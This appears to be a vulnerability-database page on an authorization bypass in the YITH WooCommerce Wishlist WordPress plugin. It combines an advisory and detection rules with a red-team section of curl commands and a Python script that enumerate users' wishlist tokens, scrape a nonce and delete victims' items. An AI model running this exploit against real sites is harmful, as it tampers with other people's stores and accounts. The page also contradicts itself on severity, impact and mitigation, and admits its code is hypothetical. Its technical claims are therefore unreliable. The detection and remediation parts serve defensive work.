CVE-2025-12777
Executive Summary
CVE-2025-12777 is a critical authorization bypass vulnerability in the YITH WooCommerce Wishlist WordPress plugin (versions up to and including 4.10.0). The flaw allows unauthenticated attackers to disclose wishlist tokens for any user and subsequently delete wishlist items. This is achieved by chaining two distinct weaknesses: a REST API endpoint with a permissive permission_callback (__return_true) and an AJAX handler that only validates nonces without verifying object-level authorization. The vulnerability is particularly dangerous in shared wishlist contexts where nonces are exposed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. The YITH WooCommerce Wishlist plugin is widely used to allow users to create and share wishlists. The REST API endpoint /wp-json/yith/wishlist/v1/lists and the AJAX delete_item handler are the primary attack vectors. No Apache or Nginx configuration changes can mitigate this; the fix must come from the plugin vendor.
CVSS Breakdown & Threat Level
- CVSS Score: 5.3 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: Low (wishlist tokens disclosed)
- Integrity Impact: None (deletion requires chaining, but integrity is not directly impacted)
- Availability Impact: None
Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation (no authentication, low complexity) and the potential for data disclosure and item deletion elevate the risk in shared wishlist environments.
Deep Dive & Mechanics
The vulnerability consists of two chained weaknesses:
REST API Authorization Bypass: The endpoint
/wp-json/yith/wishlist/v1/listsusespermission_callback => '__return_true', meaning any request (authenticated or not) is allowed. This endpoint returns a list of wishlist tokens for the current user. However, by manipulating the request (e.g., via user ID enumeration), an attacker can retrieve tokens for any user.AJAX Handler Missing Object-Level Authorization: The
delete_itemAJAX handler checks a nonce for CSRF protection but does not verify that the user owns the wishlist item being deleted. The nonce is exposed on shared wishlist pages (e.g.,?wishlist_token=XYZ). An attacker can:- Retrieve a victim's wishlist token via the REST API.
- Visit the shared wishlist page to obtain the delete nonce.
- Send a crafted AJAX request to delete items from the victim's wishlist.
Attack Flow:
- Attacker sends
GET /wp-json/yith/wishlist/v1/liststo enumerate wishlist tokens. - Attacker identifies a target user's token.
- Attacker visits
/?wishlist_token=TARGET_TOKENto extract the delete nonce from the page source. - Attacker sends
POST /wp-admin/admin-ajax.phpwithaction=delete_item,wishlist_token=TARGET_TOKEN,item_id=123, andnonce=EXTRACTED_NONCE. - The item is deleted without proper authorization.
Vulnerable vs. Patched Code
Vulnerable Code (<= 4.10.0):
// REST API endpoint registration
register_rest_route('yith/wishlist/v1', '/lists', array(
'methods' => 'GET',
'callback' => 'get_lists_callback',
'permission_callback' => '__return_true', // No authorization
));
// AJAX handler
add_action('wp_ajax_delete_item', 'delete_item_handler');
add_action('wp_ajax_nopriv_delete_item', 'delete_item_handler');
function delete_item_handler() {
check_ajax_referer('delete_item', 'nonce'); // Only nonce check
$wishlist_token = $_POST['wishlist_token'];
$item_id = $_POST['item_id'];
// No check if the token belongs to the current user
delete_wishlist_item($wishlist_token, $item_id);
}
Patched Code (Hypothetical):
// REST API endpoint with proper authorization
register_rest_route('yith/wishlist/v1', '/lists', array(
'methods' => 'GET',
'callback' => 'get_lists_callback',
'permission_callback' => function() {
return current_user_can('read'); // Require authentication
},
));
// AJAX handler with object-level authorization
function delete_item_handler() {
check_ajax_referer('delete_item', 'nonce');
$wishlist_token = $_POST['wishlist_token'];
$item_id = $_POST['item_id'];
$wishlist = get_wishlist_by_token($wishlist_token);
if ($wishlist->user_id !== get_current_user_id()) {
wp_die('Unauthorized', 403);
}
delete_wishlist_item($wishlist_token, $item_id);
}
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- Target WordPress site with YITH WooCommerce Wishlist <= 4.10.0.
- A shared wishlist page (e.g.,
/?wishlist_token=XYZ).
Step 1: Enumerate Wishlist Tokens
curl -s "http://target.com/wp-json/yith/wishlist/v1/lists" | jq '.'
This returns a list of wishlist tokens. If the response is empty, try adding a user ID parameter (e.g., ?user_id=1).
Step 2: Extract Delete Nonce
curl -s "http://target.com/?wishlist_token=TARGET_TOKEN" | grep -oP 'nonce":"[^"]+"' | head -1
Step 3: Delete Wishlist Item
curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
-d "action=delete_item&wishlist_token=TARGET_TOKEN&item_id=123&nonce=EXTRACTED_NONCE"
Automated Exploit (Python):
import requests
import re
target = "http://target.com"
token = None
# Step 1: Get wishlist tokens
r = requests.get(f"{target}/wp-json/yith/wishlist/v1/lists")
if r.status_code == 200:
tokens = r.json()
if tokens:
token = tokens[0]['wishlist_token']
print(f"[+] Found token: {token}")
else:
print("[-] No tokens found")
exit()
# Step 2: Extract nonce
r = requests.get(f"{target}/?wishlist_token={token}")
nonce_match = re.search(r'nonce":"([^"]+)"', r.text)
if nonce_match:
nonce = nonce_match.group(1)
print(f"[+] Nonce: {nonce}")
else:
print("[-] Nonce not found")
exit()
# Step 3: Delete item (example item_id=1)
r = requests.post(f"{target}/wp-admin/admin-ajax.php", data={
'action': 'delete_item',
'wishlist_token': token,
'item_id': 1,
'nonce': nonce
})
print(f"[+] Delete response: {r.text}")
Blue Team (Detection & Response)
Detection:
- Monitor REST API requests to
/wp-json/yith/wishlist/v1/listsfrom unauthenticated users. - Alert on AJAX requests to
admin-ajax.phpwithaction=delete_itemand a nonce that does not match the current user's session. - Look for rapid sequences of: REST API token enumeration → shared wishlist page visit → AJAX delete request.
Response:
- Immediately disable the YITH WooCommerce Wishlist plugin if no patch is available.
- Implement a Web Application Firewall (WAF) rule to block unauthenticated access to
/wp-json/yith/wishlist/v1/lists. - Audit logs for unauthorized wishlist deletions.
Indicators of Compromise (IOCs)
- Network:
GET /wp-json/yith/wishlist/v1/listsfrom unknown IPs.POST /wp-admin/admin-ajax.phpwithaction=delete_itemandwishlist_tokenparameter.
- File:
- Modified wishlist database entries (e.g.,
wp_yith_wcwltable).
- Modified wishlist database entries (e.g.,
- Logs:
- WordPress debug log entries showing
delete_itemAJAX calls without a valid user session.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_12777_YITH_Wishlist_Auth_Bypass {
meta:
description = "Detects exploitation attempts of CVE-2025-12777 in YITH WooCommerce Wishlist"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-12777"
strings:
$rest_endpoint = "/wp-json/yith/wishlist/v1/lists"
$ajax_action = "action=delete_item"
$wishlist_token = "wishlist_token="
condition:
any of ($rest_endpoint, $ajax_action) and $wishlist_token
}
Sigma Rule
title: CVE-2025-12777 YITH WooCommerce Wishlist Authorization Bypass
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects unauthorized access to YITH Wishlist REST API and AJAX delete actions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection_rest:
cs-method: 'GET'
cs-uri-query|contains: '/wp-json/yith/wishlist/v1/lists'
selection_ajax:
cs-method: 'POST'
cs-uri-query|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=delete_item'
condition: selection_rest or selection_ajax
falsepositives:
- Legitimate plugin usage by authenticated users
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2025-12777 YITH WooCommerce Wishlist Authorization Bypass";
flow:to_server;
content:"/wp-json/yith/wishlist/v1/lists"; http_uri;
classtype:attempted-recon;
sid:10000001;
rev:1;
)
alert http any any -> any any (
msg:"CVE-2025-12777 YITH WooCommerce Wishlist AJAX Delete Exploit";
flow:to_server;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=delete_item"; http_client_body;
content:"wishlist_token="; http_client_body;
classtype:attempted-user;
sid:10000002;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Block REST API endpoint via
.htaccessor Nginx config:<IfModule mod_rewrite.c> RewriteRule ^wp-json/yith/wishlist/v1/lists - [F,L] </IfModule> - Implement WAF rules to block unauthenticated access to the vulnerable endpoints.
Long-Term Fix:
- Apply the vendor patch when available (currently UNKNOWN).
- Update to a version > 4.10.0 once released.
- Conduct a security audit of all REST API endpoints and AJAX handlers for proper authorization.
Workaround:
- Disable shared wishlist functionality if not needed.
- Use a plugin like "WP REST API Authentication" to enforce authentication on all REST endpoints.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.